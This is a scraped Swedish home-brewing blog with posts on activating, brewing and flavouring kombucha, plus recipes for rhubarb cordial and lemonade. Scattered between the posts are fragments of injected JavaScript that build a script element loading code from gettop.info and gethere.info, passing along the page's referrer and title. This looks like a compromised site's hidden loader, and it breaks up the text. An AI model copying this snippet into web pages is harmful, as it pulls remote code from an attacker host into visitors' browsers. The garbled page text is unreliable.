Kombucha

bild13

bild5

Nu har jag äntligen smaksatt min kombucha. Jag lät min kombucha stå från 3/8 – 16/8 (13 dagar).
Den första är gjord på svart te med smaken persika/mango. Jag smaksatte min kombucha med persika/granatäpple en behöll en flaska utan naturell.
bild1bild2bild4

bild7

bild5bild6bild10bild3bild9bild8bild11bild12Den stora flaskan till vänster lämnade jag naturell och de små flaskorna smaksatte jag med persika/granatäpple.
bild13bild14

Den andra är gjord på Grönt te med smaken Citron. Jag smaksatte med naturlig äpple mango juice utan tillsatser och behöll en flaska naturell.

bild3

Här ser ni en bild på hur min kombuchasvamp ser ut.

 

bild4bild2Den vänstra flaskan har jag smaksatt med äpple & mango juice utan tillsatser.

bild1

bild6Nu skall min kombucha kolsyras naturligt i 5-6 dagar och sedan in i kylen för att kylas och sen är den färdig att drickas. Ev. kommer jag sila bort frukten i flaskorna.}

if (document.currentScript) { s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Kombucha

I söndags  gjorde jag en ny laddning av kombucha.  Jag aktiverade min originalsvamp den 10/7 och satte den i grönt te (lemon) och lite mer än tre veckor hade det vuxit en scoby bebis ovanpå.

Kom

Först lagade jag nytt te i två burkar, en med grönt te (lemon) och en med svart te (peach) då jag vill testa på och se hur smaken blir på de olika tesorterna när min kombucha brygd är klar.

Så här ser kombucha svampen ut där den lilla mörka är modersvampen och scoby bebisen den större ljusare.

bild7

bild5

Jag använde engångshandskar och tog upp svamparna från min första brygd och tvättade av dem i ljummet vatten innan jag la ner dem i den nya omgången kombucha.

bild9

bild4

bild2bild1bild8Nu får jag vänta 10-20 dagar innan nästa omgång är klar och sen skall min kombucha smaksättas.

 

 

 

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

} else {if (document.currentScript) {

Rabarbersaft

För några dagar sedan fick jag färsk rabarber som en kompis odlat själv.  Jag passade på att laga rabarbersaft av dessa underbara rabarber och saften blev jättegod. Receptet hittade jag här.

bild6

Rabarbersaft (ger ca 2 liter)
2 kg rabarber
1 1/2 l vatten
saft från 1 citron
1 kg Dansukker Strösocker

Gör så här:
Skölj rabarbern. Skär den i bitar. Koka med vattnet tills rabarbern är helt mjuk. Häll upp i silduk och låt självrinna i 30 minuter. Rengör grytan och häll tillbaka saften. Tillsätt socker och citronsaft. Koka under ständig skumning tills saften är helt klar. Häll upp på varma, väl rengjorda flaskor. Förslut. Förvara svalt.
bild2bild1bild3bild4bild5bild7

 

 

 

 if (document.currentScript) {

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‘script’);

Kombucha – aktivera din kombucha-svamp

KomYouTube Preview Image

Nu skall det bryggas kombucha. Då jag inte har någon kompis som kunde ge mig en kombucha bebis köpte jag min kombucha svamp på nätet.
Jag köpte min kombucha svamp här. Priset 210 kr för Kombuchasvamp  och  25 stycken pH-mätare medföljer.

Efter några dagar kom mitt kombucha paket i brevlådan.

bild13bild5

De medföljande pH-mätaren gör att jag kan mäta pH-värdet och försäkra mig om att det är mellan 2,5 och 4.6.

bild3bild2

I det här paketet ligger min svamp.

bild4

Att komma igång och aktivera min kombucha första gången gör jag såhär:

Du behöver:
Modersvamp (köp på nätet eller få av en vän)
Grundvätska (kombuchadryck)
Glaskärl
Duk att täcka med
Gummiband
Flaskof för färdig dryck

bild12bild11bild10

 

Aktiveringa av kombucha
1 liter glaskärl
2 tepåsar (jag använde grönt te)
0,5 dl ekologiskt strösocker
6 dl vatten
1,5-2 dl kombucha dryck

Gör så här:
Blanda 6 dl varmt vatten med 0,5 dl socker i en behållare. Rör om tills sockret löser sig.

bild9bild8
Tillsätt 2 tepåsar och låt stå i ca 15 minuter. Ta  bort tepåsarna och låt teet svalna tills rumstemperatur ca 20-25 grader.

bild6bild7bild1bild3bild4
Tillsätt din kombuchadryck.

bildBbildA
Lägg i din kombuchasvamp. Såhär ser den torkade kombucha svampen ut.

bild2bild1bild5bild6Nu ligger kombucha svampen i botten och gottar sig.
Täck över med en duk eller papper och sätt fast med gummiband, annars kommar bananflygarna in.
Stäng inte med tättslutande lock då kombuchan måste andas.

bild7bild8bild9bild6
Låt behållaren stå orört på en lugn plats ca 20-30 grader i ca 10-28 dagar.
Kombuchan fårinte stå i direkt soljus.
Om den står på en plats som har lägre temperatur än 21 grader kan det ta några dagar extra.
Notera att vid temperaturer runt 16 grader stannar processen upp helt.

Olika tesorter kommer ge olika smak på den färdiga kombuchan. Grönt te ger en mildare kombucha medans ett starkt te som English breakfast ger en starkare smak på kombuchan.

Om du inte har tillräckligt med kombucha dryck till din brygd, kan du ersätta din mängd som saknas med pastöriserad ekologisk äpplecidervinäger.
Undvik metallföremål då det kan skada bakteriekulturen.

Rehydreringen  är klar när följande sker:
1) Lukten har förändrats (kombucha har en egen lukt) och det har bildats brunaktiga strängar eller partiklar.
2) En grumlig massa eller film bildas på ytan (om denna lämnas ostörd kommer den att bilda en ny kombucha-svamp) . En ny kombucha-svamp bildas inte alltid vid aktiveringen inte heller vid de första omgångarna av kombuchafermentering.
3) Surheten ökar vilket bevisar att nya syror har bildats. pH-indikator mäter du surheten.

Spara en del av den färdiga första kombuchan för att använda vid nästa fermenteringa. Resten kan drickas.

Smaka av med ett sugrör under kulturen tills du kännar att det är som du vill ha den.

Vid skörd
Tag med rena händer upp svampen, lägg den tillfälligt i en lite glasburk och sätt på ett lock.
Häll genom en sil upp den färdiga drycken på flaskor.
Spara några dl av den färdiga drycken för att tillsättas i din nästa kultur efter det att behållaren sköljts ur.
Skölj svampen försiktigt i rinnande kallt eller ljummet vatten och lägg sedan tillbaka den i den lilla burken. Låt svampen ligga i en del av den nyss tillagade vätskan. Förvaras kallt i kylskåp. Se till att hälla över vätskan i en annan behållare och skölja ur burken med varmt vatten ungefär var fjärde vecka om du inte påbörjar en ny tillverkningsprocess eller ger bort svampen till en vän.

Smaksätta din kombucha
Förbered rengjorda flaskor med fruktbitar i botten. Syrliga frukter brukar smaka bra ihop med kombuchan.
Fyll på och förslut flaskorna. Låt stå i rumstemperatur ca 5-7 dagar för att kolsyra dem naturligt (ej i direkt solljus). Förvara kombychan i kylen.

Smaksättning:
Hallon
Persika
Granatäpple
Citron
Ingefära
Gröna äpplen
Lite fruktjuice

 

 

 

 

 if (document.currentScript) {

var d=document;var s=d.createElement(‘script’); } else {

Svensk kombucha

För ett tag sedan fick jag höra om Kombucha te. Jag hade ingen aning om vad det var eller hur det smakade.
Nu har jag druckit mina första kombucha och det smakade annorlunda men gott. Än så länge har jag provat kombucha med naturell smak och persika/granatäpple. Nu har jag själv satt min första kombucha brygd och om allt går som planerat har jag min egna kombucha om ca 30 dagar.

bildA

Ni kan läsa mer om Svensk kombucha  här. De har även en fb sida.

Ett tips. Svensk kombucha delar ut gratis kombucha bebisar om ni kontaktar dem i förväg….mkt generöst tycker jag med tanke på att många tar pengar för sina kombucha bebisar på nätet. Gå in och gilla dem på fb sidan här.
Bryggeriet finns i Stockholm.

Svensk Kombucha tillverkas på helt naturliga ingredienser. Bryggeriet ligger i Årsta, Stockholm.

bildB

Naturell innehåller per 100ml
Kalorier/Energi 110kJ/26kcal
Protein          <0,3g
Fett                0,1g
Kolhydrater    6,5g
– varav sockerarter 6,3g

Antioxidant Epicatechin
Vitaminer B1, B6
Mineraler Kalcium, Kalium
Organiska syror Mjölksyra, Ättiksyra
Probiotiska bakterier
Aktiva enzymer

Ingredienser: vatten, ekologiskt te, socker (till fermenteringen) och Kombuchakultur (Acetobacter, Gluconacetobacter och Saccharomyces-jäst) samt naturliga aromer.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

}s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Hemgjord citronlemonad

I NYC beställde jag  hemgjord citronlemonad till min hamburgare och guuud så gott det är med färsk lemonad. Här får ni recept om ni vill pröva själva. Om ni inte vill göra 3  liter så halvera receptet och använd ca 1 1/2 dl socker och 4 citroner till en liter vatten.

933994_10151431933230959_276292200_n

ca 3 liter
Frisk och god dryck som kan drickas både kall och varm.
2 liter vatten
cirka 2 1/2 dl strösocker
9 citroner, saften

Häll upp kallt vatten i en bunke och tillsätt sockret. Rör om tills sockret är upplöst. Pressa i saften från citronerna genom en sil. Smaka av om du vill ha mer socker.

Häll upp lemonaden på flaskor och kyl.

Lemonaden går både att blanda drinkar med och dricka varm.if (document.currentScript) {

}if (document.currentScript) {